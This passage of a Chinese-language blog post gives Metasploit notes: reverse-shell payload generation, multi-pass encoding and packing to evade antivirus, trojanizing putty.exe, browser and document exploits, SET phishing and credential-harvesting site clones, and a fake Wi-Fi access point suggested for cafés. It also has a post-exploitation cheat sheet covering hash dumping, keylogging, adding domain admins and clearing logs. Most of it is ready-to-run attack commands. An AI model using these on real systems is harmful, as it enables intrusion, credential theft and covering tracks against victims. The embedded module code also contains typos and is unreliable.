setg LPORT 8080 
exploit –z #后台运行,如果此处未使用-z 参数,后面可以按CTRL-Z 转到后台 
sessions –u 1 #升级shell,必须前面使用setg 设定 
sessions –i 2

6、使用Railgun 操作windows APIs 
例子: 
meterpreter> irb

client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”) 
在目标机器上会弹出一个标题栏为world 和内容为hello 的窗口

七.避开杀软 
1、使用msfpayload 创建可执行后门: 
例子: 
msfpayload windows/shell_reverse_tcp 0 #查看选项 
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X > 
/var/www/payload1.exe 
然后本机监听端口 
msf> use exploit/multi/handler 
show options 
set PAYLOAD windows/shell_reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 31337 
exploit

2、过杀软—使用msfencode 编码后门: 
msfencode –l #列出可用编码器 
例子: 
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R 
|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe 
使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。

3、多次编码: 
例子: 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | 
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw | 
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o 
/var/www/payload3.exe 
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。 
(题外:经测试,1:使用此命令生成的后门也被MSE 杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp 生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86 编码器编码的后门在64 位机器上无法执行;5:360 有个沙箱功能,后门文件右键选择“在360 隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)

4、自定义可执行程序模板: 
msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同 
平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如: 
wget http://download.sysinternals.com/Files/ProcessExplorer.zip 
cd work 
unzip ProcessExplorer.zip 
cd .. 
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode 
–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5 
在目标机器上运行,然后本地使用msfcli 监听端口等待反弹连接: 
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 
LPORT=8080 E

5、暗度陈仓—猥琐执行payload: 
绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例: 
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode 
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5 
假如选择一个GUI 界面的程序作为绑定目标并且不使用-k 选项,则目标执行此程序的时候不会弹出cmd 窗口,-k 选项的作用是payload 独立于模板软件的进程运行。

6、加壳: 
msfencode 部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后更保险”,例如UPX : 
apt-get install upx 
最新版可到sf.net 下载 
使用方法: 
upx -5 /var/www/payload3.exe 
还有另外一个工具msfvenom 结合了msfpayload 和msfencode 的功能,使用起来更省心, 
亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。

八.使用用户端攻击方式(client-side attacks) 
1、主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 
器,pdf 阅读器,office 软件等,最终获取系统权限。 
基于浏览器的攻击: 
例子: 
msf> use windows/browser/ms10_002_aurora 
set payload windows/meterpreter/reverse_tcp 
set SRVPORT 80 
set URIPATH / 
set LHOST 192.168.1.111 
set LPORT 443 
exploit –z 
sessions –i 1 
run migrate 
或者: 
msf> use windows/browser/ms10_002_aurora 
show advanced 
set ReverseConnectRetries 10 
set AutoRunScript migrate –f 
exploit 
use priv 
getsystem

2、文件格式exploit 
利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。 
例子: 
msf> use windows/fileformat/ms11_006_createsizeddibsection 
info 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 443 
exploit 
此时会生成一个msf.doc 的word 文档,在目标机器上打开此文档,然后本机监听端口 
等待反弹连接: 
use multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 443 
exploit –j

九.MSF 附加模块 
包括端口扫描,服务探测,弱口令探测,fuzzer,sql 注射等。附加模块没有payload。 
模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。 
可用命令查看全部可用附加模块:msf> show auxiliary 
例子: 
msf> use scanner/http/webdav_scanner 
info 
show options 
set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222 
run 
搜索所有http 相关扫描模块: 
search scanner/http 
附加模块深层剖析: 
cd /opt/framework3/msf3/modules/auxiliary/admin/ 
wget 
http://carnal0wnage.googlecode.c … admin/random/foursq 
ueare.rb 
代码分析: 
require ‘msf/core’ 
class Metasploit3 < Msf::Auxiliary #导入Auxiliaary 类 
#Exploit mixins should be called first 
include Msf::Exploit::Remote::HttpClient #导入HTTPClient 方法 
include Msf::Auxiliary::Report 
def initialize 
super( 
‘Name’ => ‘Foursquare Location Poster’, 
‘Version’ => ‘Revision:’, 
‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue 
id’, 
‘Author’ => [‘CG’], 
‘License’ => MSF_LICENSE, 
‘References’ => 

[‘URL’,’http://groups.google.com/group/foursquare-api’], 
[‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’], 

#todo pass in geocoords instead of venueid,create a venueid, other tom foolery 
register_options( 

Opt::RHOST(‘api.foursquare.com’), 
OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]), 
OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]), 
OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]), 
],self.class) 
end 
def run 
begin 
user = datastore[‘USERNAME’] 
pass = datasore[‘PASSWORD’] 
venid = datastore[‘VENUEID’] 
user_pass = Rex::Text.encode_base64(user + “:” + pass) 
decode = Rex::Text.decode_base64(user_pass) 
postrequest = “twitter=1\n” #add facebook=1 if you want facebook 
print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug 
print_status(“Base64 Decode User/Pass: #{decode}”) #debug 
res = send_request_cgi({ 
‘uri’ => “/v1/checkin?vid=#{venid}”, 
‘version’ => “1.1”, 
‘method’ => ‘POST’, 
‘data’ => postrequest, 
‘headers’ => 

‘Authorization’ => “Basic #{user_pass}”, 
‘Proxy-Connection’=> “Keep-Alive”, 

},25) 
print_status(“#{res}”) 
end 
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout 
rescue ::Timeout::Error, ::Errno::EPIPE =>e 
pus e.message 
end 
end 
ruby 白痴一个,代码我也没看懂,不解释了 
如何使用: 
msf> search foursquare 
msf> use admin/foursquare 
set VENUEID 2584421 
set USERNAME msf@elwood.net 
set PASSWORD ilovemetasploit 
run

十.社会工程学工具集(SET) 
主要功能:hacking the human mind。 
1、SET 基本配置: 
SET 位于/pentest/exploits/set/目录 
更新: 
cd /pentest/exploits/set/ 
svn update 
配置文件config/set_config,当使用基于web 的攻击方式时可以将email 功能打开: 
vi config/set_config: 
METASPLOIT_PATH=/opt/framework3/msf3 
WEBATTACK_EMAIL=ON 
使用Java applet attack 进行攻击的时候默认使用Microsoft 作为发布者名称,如果需要自定义则需要安装JDK 并打开配置项: 
SELF_SIGNED_APPLET=ON 
SET 默认打开AUTO_DETECT 项,自动探测本机IP 并用于攻击中的各项配置。如果本机是多网卡需要手动指定IP,则需将此项关闭: 
AUTO_DETECT=OFF 
SET 默认使用内建的python 提供的web server 供使用,如需使用apache 作为服务则需要本机安装apache 并打开配置项: 
APACHE_SERVER=ON

2、网络钓鱼攻击(Spear-Phishing Attack Vector): 
利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标发送带后门附件的电子邮件,诱使目标打开附件激活后门。 
例子: 
./set 
此时选择菜单1.Spear-Phishing Attack Vectors 
继续选择:1.Perform a Mass Email Attack 
选择exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow 
选择payload:4.Windows Reverse TCP Shell 
选择是否更改文件名:1.Keep the filename 
选择发送邮件方式1.Email Attack Single Email Address 
选择邮件模板1.Pre-Defined Template 
5.Status Report 
输入收件方email 地址:webmanager@exmaple.com 
选择发件方式:1.Use a GMAIL Account for your email attack 
输入发件gmail 和密码 
选择是否立即监听端口等待连接:yes 
此时SET 会使用刚才的设定全自动监听指定端口。

3、WEB 方式攻击: 
SET 可以克隆一个网站并植入后门以此迷惑目标打开此网站并中招。 
Java Applet 方式:最成功的方式之一,并不是利用java 的漏洞,而是当目标浏览含后门的仿冒站点时会被询问是否允许执行web 中的java applet,一旦点击允许则payload 开始运行,目标将被重定向到真实的网站。 
用户端(Client-side)web exploit 方式:利用用户端存在的软件漏洞,一般使用0day进行攻击的效果最好。 
账号密码获取(Username and Password Harvesting):通过克隆一个目标站并诱使攻击目标登陆,截获其账号密码。例如截获GMAIL 密码。 
标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重定向到真实网站。 
中间人攻击(Man-Left-in-the-Middle):此方式使用已经被攻陷的网站的HTTP 请求或者网站的XSS 漏洞让用户的登陆信息发送至攻击者的HTTP 服务器。如果你发现了一个网站的XSS 漏洞,可以利用此漏洞构造一个url 发送给目标诱使其打开并登陆以截获登陆信息。 
Web Jacking:当目标打开我们的网站时会有一个链接显示为正确的web 地址,此时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。 
混合模式(multi-attack):可同时使用以上多种攻击手段以提高成功率。 
介质感染攻击(Infectious Media Generator):可以让你生成一张光盘或者u 盘,里面包含autorun.inf 来运行指定的后门文件或者file-format 漏洞文件。 
迷你USB 人机接口设备(Teensy USB HID):当电脑插入USB 设备且autorun.inf 被禁用时,可使用此方法将USB 设备模拟成一个键盘或鼠标设备,进而截获目标机器的击键记录。 
SET 其他特殊功能: 
包括SET 交互式shell,可用来替代meterpreter;远程管理工具(RATTE);HTTP 隧道,当目标主机只开放HTTP 端口对外放行时可通过此功能与主机进行通信;WEB-GUI,包含了常用攻击和无线攻击向导,输入./set-web 即可运行。 
(SET 新版本变动较大,请自行摸索。)

十一.FAST-TRACK 
Fast-Track 和SET 一样都是python 编写的,同样是使用MSF 提供的payload 以及用户端攻击向导等,作为对MSF 的补充,它提供了如MSSQL 攻击,更多的exploit,浏览器攻击向导等。fasttrack 位于/pentest/exploits/fasttrack/。 
交互式模式:./fast-track.py -i 
命令行模式:./fast-track.py -c 
Web 界面模式:./fast-track.py -g

1、MSSQL 工具: 
MSSQL 注入漏洞攻击: 
攻击时你只需要输入有注入漏洞的url 地址,地址里面用INJECTHERE 标识可注入字 
段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track 会全自动注入,一旦成功会给你返回一个cmd shell。 
注入也支持POST 参数,如果是POST 的话更加简单,只需要你输入url 地址,fast-track会自动判断并尝试进行注入。 
SQL 暴力破解:另外一个实用的功能是暴力破解器(MSSQL Bruter),可以寻找mssql弱口令,一旦获取到一个sa 权限的访问权限,将自动返回一个shell。 
SQL 注入批量扫描器(SQLPwnage):此功能可扫描指定网段的所有打开80 端口的主 
机,并扫描是否存在sql 注入点,一旦发现注入点将自动尝试攻击并通过xp_cmdshell 
获取系统权限。

2、Binary-HEX 转换器: 
当你已经进入一个系统且需要上传可执行文件上去,就可以使用这个工具将可执行的二进制文件转换为HEX 十六进制编码,然后复制粘贴过去即可。

3、批量用户端攻击: 
和浏览器攻击差不多,但是增加了对目标的ARP 缓冲区和DNS 感染(只能是在测试者 
和目标处于同一网段的情况下),以及MSF 里面没有的浏览器溢出exploit。当目标浏览 
恶意网站的时候,fast-track 尝试着使用所有的exp 对目标机器进行溢出,一旦某个exp 
起作用将获取到目标机器的控制权限。 
(新版本fasttrack 中还加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator 等新功能。) 
脚本化的工具有时确实能减少很多工作时间,但是不能完全依赖于这类自动程度很高的 
工具,特别是在用这些工具搞不定目标的时候,手工测试的能力往往才是王道,细节决定成败。

十二.KARMERASPLOIT 
Karmetasploit = Karma + Metasploit,也可以说成它是MSF 的KARMA 实现。 
Karma 和MSF 一样也是使用ruby 语言编写的,其功能是建立一个虚假的无线接入点, 
等待目标连接上钩。与MSF 结合可实现更强大的功能。Karmetasploit 集成了DNS,POP3, 
IMAP4,SMTP,FTP,SMB,HTTP 等服务用于攻击,模块位于modules/auxiliary/server 目录下。 
基本配置: 
需要的配置不多,首先需要配置一个DHCP 服务为目标提供动态IP 分配,配置文件: 
option domain-name-servers 10.0.0.1; 
default-lease-time 60; 
max-lease-time 72; 
ddns-update-style none; 
authoritative; 
log-facility local7; 
subnet 10.0.0.0 netmask 255.255.255.0 { 
range 10.0.0.100 10.0.0.254; 
option routers 10.0.0.1; 
option domain-name-servers 10.0.0.1;}

将配置文件保存在/etc/dhcp3/dhcpd.conf 
下一步下载karma msf 脚本: 
wget http://www.offensive-security.com/downloads/karma.rc 
将网卡激活为监听模式: 
airmon-ng start wlan0 
创建伪装接入点,-P 可被扫描到,-C 信号发射速率,-e 接入点名称(需要具有欺骗性), 
-v 指定网卡,mon0 为上一步完成后生成的: 
airbase-ng -P -C 30 -e “China-Net-Free” -v mon0 
此时会生成一个名为at0 的新网卡接口。 
接着打开DHCP 服务: 
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 
检查是否成功启动: 
ps aux|grep dhcpd 
tail -f /var/log/messages 
下一步加载karma 脚本: 
msf> resource karma.rc 
等待收获: 
当对方打开邮件客户端并登陆收取邮件,那么他的账户密码将被截获,因为他所连接的 
DNS 和POP3 都是虚假的。 
当对方打开浏览器准备浏览网页时karma 开始截取cookie,建立虚假email,DNS 等服 
务,加载exploits 来对付客户端浏览器,如果走运的话可以获取到shell。 
总结:建议这招可以拿到麦当劳,星巴克用,效果更好。

十三.构建自己的模块,编写自己的exploit,meterpreter脚本编程


这三章留着后面看,需要有ruby 基础等编程基础。


十四.渗透实战演习 
首先需要下载并安装一个专门用来练习渗透的虚拟机Metasploitable: 
http://updates.metasploit.com/data/Metasploitable.zip.torrent 
虚拟机IP:172.16.32.162 用户名密码:msfadmin 
WINXP:172.16.32.131 开放80 端口有防火墙 
情报收集: 
nmap -sT -P0 172.16.32.131 
msfconsole: 
cd /opt/framework3/msf3/ 
msfconsole 
msf> use multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 172.15.32.129 
set lport 443 
load auto_add_route 
exploit -j 
run getgui -e -f 8080 
shell 
net user msf msf /add 
net localgroup administrators msf /add 
upload nmap.exe 
nmap.exe -sT -A -P0 172.16.32.162 
msf> use auxiliary/scanner/ftp/ftp_version 
set RHOSTS 172.16.32.162 
run 
msf> use auxiliary/scanner/smtp/smtp_version 
set RHOSTS 172.16.32.162 
run 
search tomcat_mgr_login 
set rhosts 172.16.32.162 
set threads 50 
set rport 8180 
set verbose false 
run 
use multi/http/tomcat_mgr_deploy 
set password tomcat 
set username tomcat 
set rhost 172.16.32.162 
set lport 9999 
set rport 8180 
set payload linux/x86/shell_bind_tcp 
exploit 
search distcc_exec 
set payload linux/x86/shell_reverse_tcp 
set lhost 172.16.32.129 
set rhost 172.16.32.162 
show payloads 
set payload cmd/unix/reverse 
exploit

十五.常用命令备忘

MSFconsole Commands

show exploits 查看所有exploit 
show payloads 查看所有payload 
show auxiliary 查看所有auxiliary 
search name 搜索exploit 等 
info 查看加载模块的信息 
use name 加载模块 
LHOST 本机IP 
RHOST 目标IP 
set function 设置选项值 
setg function 全局设置 
show options 查看选项 
show targets 查看exp 可选的平台 
set target num 设置exp 作用平台 
set payload payload 设置payload 
show advanced 查看高级选项 
set autorunscript migrate -f 设置自动执行指令 
check 测试是否可利用 
exploit 执行exp 或模块 
exploit -j 作为后台执行 
exploit -z 成功后不立即打开session 
exploit -e encoder 指定encoder 
exploit -h 查看帮助信息 
sessions -l -v 列出可用sessions 详细信息 
sessions -s script 在指定session 执行脚本 
sessions -K 结束session 
sessions -c cmd 执行指定命令 
sessions -u sessionID 升级shell 
db_create name 创建数据库 
db_connect name 连接数据库 
db_nmap nmap 扫描并导入结果 
db_autopwn -h 查看autopwn 帮助 
db_autopwn -p -r -e 基于端口,反弹shell 
db_destroy 删除数据库

Meterpreter Commands

help 查看帮助 
run scriptname 运行脚本 
sysinfo 系统基本信息 
ls 列目录 
use priv 运行提权组件 
ps 列进程 
migrate PID PID 迁移 
use incognito token 窃取 
list_tokens -u 查看可用用户token 
list_tokens -g 查看可用组token 
impersonate_token DOMAIN_NAME\USERNAME 模仿token 
steal_token PID 窃取PID 所属token 并模仿 
drop_token 停止模仿token 
getsystem 获取SYSTEM 权限 
shell 运行shell 
execute -f cmd.exe -i 交互式运行cmd 
execute -f cmd.exe -i -t 使用可用token 运行 
execute -f cmd.exe -i -H -t 同上,同时隐藏进程 
rev2self 返回至初始用户 
reg command 修改注册表 
setkesktop number 切换至另一已登录用户屏幕 
screenshot 截屏 
upload file 上传文件 
download file 下载文件 
keyscan_start 开始截取击键记录 
keyscan_stop 停止截取击键记录 
getprivs 尽可能提升权限 
uictl enable keyboard/mouse 获取键盘或鼠标的控制权 
background 将当前meterpreter shell 转入后台 
hashdump 导出所有用户hash 
use sniffer 加载嗅探模块 
sniffer_interfaces 查看可用网卡接口 
sniffer_dump interfaceID pcapname 开始嗅探 
sniffer_start interfaceID packet-buffer 指定buffer 范围嗅探 
sniffer_stats interfaceID 抓取统计信息 
sniffer_stop interfaceID 停止嗅探 
add_user username password -h ip 添加用户 
add_group_user “Domain Admins” username -h ip 添加用户至管理组 
clearev 清空日志 
timestomp 改变文件属性如创建时间等 
reboot 重启

MSFpayload Commands

msfpayload -h 查看帮助 
msfpayload windows/meterpreter/bind_tcp 0 
查看指定payload 可用选项 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X > 
payload.exe 
生成payload.exe 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R > 
payload.raw 
保存为RAW 格式,可用于msfencode 
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c 
保存为C 格式 
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java 
保存为java 格式

MSFencode Commands

msfencode -h 查看帮助 
msfencode -l 查看可用encoder 
msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho) 
以指定格式显示编码后的buffer 
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe 
生成编码后的exe 
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c 
5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe 
多编码器结合,多次编码 
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c 
生成纯字符格式C 类型shellcode

MSFcli Commands

msfcli |grep exploit 只显示exploit 
msfcli | grep exploit/windows 只显示windows exploit 
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp 
LPORT=443 RHOST=172.16.32.26 E 
针对指定IP 加载指定exp 并设定payload

MSF,Ninja,Fu

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | 
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 
使用calc.exe 作为模板,生成经过编码的后门 
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | 
msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 
与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息 
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe 
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler 
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E 
生成编码后的payload 并开始监听本机端口

MSFvenom

msfvenom –payload 自动生成payload

Meterpreter Post Exploitation Commands

提权一般步骤 
meterpreter> use priv 
meterpreter> getsystem 
meterpreter> ps 
meterpreter> steal_token 1784 
meterpreter> shell 
net user msf msf /add /DOMAIN 
net group “Domain Admins” msf /add /DOMAIN 
获取hash 一般步骤 
meterpreter> use priv 
meterpreter> getsystem 
meterpreter> hashdump 
如果是在win2008 系统上: 
meterpreter> run migrate 
meterpreter> run killav 
meterpreter> ps 
meterpreter> migrate 1436 
meterpreter> keyscan_start 
meterpreter> keyscan_dump 
meterpreter> keyscan_stop 
使用Incognito 提权 
meterpreter> use incognito 
meterpreter> list_tokens -u 
meterpreter> use priv 
meterpreter> getsystem 
meterpreter> list_tokens -u 
meterpreter> impersonate_token IHAZSECURITY\Administrator 
查看保护机制并禁用之 
meterpreter> run getcountermeasure 
meterpreter> run getcountermeasure -h 
meterpreter> run getcountermeasure -d -k 
检查是否是虚拟机 
meterpreter> run checkvm 
转入命令行 
meterpreter> shell 
远程VNC 控制 
meterpreter> run vnc 
转入后台 
meterpreter> background 
Bypass UAC 
meterpreter> run post/windows/escalate/bypassuac 
OS X 系统上dump hash 
meterpreter> run post/osx/gather/hashdump 
Linux 系统上dump hash 
meterpreter> run post/linux/gather/hashdump


声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/456726
推荐阅读
相关标签
  

闽ICP备14008679号